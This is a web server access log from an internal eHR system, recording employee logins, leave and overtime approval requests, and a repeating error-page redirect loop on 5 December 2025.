192.168.133.93 - - [05/Dec/2025:15:52:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:52:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 7256 192.168.133.93 - - [05/Dec/2025:15:52:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:52:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:52:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 38573 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:52:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 38573 192.168.133.93 - - [05/Dec/2025:15:53:00 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:00 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132752%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132752&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:00 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132752%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132752&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [05/Dec/2025:15:53:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [05/Dec/2025:15:53:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:16:22:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:16:22:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 100.64.0.1 - - [05/Dec/2025:16:35:05 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:16:35:05 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8806 192.168.11.108 - - [05/Dec/2025:16:38:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:16:38:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [05/Dec/2025:16:38:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:16:38:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [05/Dec/2025:16:39:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:16:39:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.11.108 - - [05/Dec/2025:16:40:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 135456 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [05/Dec/2025:16:40:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 135456 192.168.11.157 - - [05/Dec/2025:16:54:48 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:48 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 200 78601 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 200 8445 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - [05/Dec/2025:16:54:49 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 200 291 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.157 - - 